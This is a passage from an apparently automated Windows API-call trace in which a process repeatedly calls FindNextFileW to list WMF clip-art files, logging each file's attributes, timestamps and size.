ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1 [0196.001] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1 [0196.001] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1 [0196.001] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1 [0196.001] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1 [0196.001] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1 [0196.002] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1 [0196.002] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1 [0196.002] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1 [0196.002] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1 [0196.002] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1 [0196.002] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1 [0196.002] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1 [0196.002] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1 [0196.003] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1 [0196.003] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1 [0196.003] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1 [0196.003] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1 [0196.003] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1 [0196.003] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1 [0196.003] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1 [0196.004] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1 [0196.004] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1 [0196.004] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1 [0196.004] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1 [0196.004] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1 [0196.004] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1 [0196.004] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1 [0196.004] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1 [0196.004] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1 [0196.005] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1 [0196.005] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1 [0196.005] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1 [0196.005] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1 [0196.005] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1 [0196.005] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1 [0196.005] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1 [0196.006] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1 [0196.006] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1 [0196.006] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1 [0196.006] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1 [0196.006] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1 [0196.006] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1 [0196.006] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1 [0196.007] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1 [0196.007] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1 [0196.007] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1 [0196.007] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1 [0196.007] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | 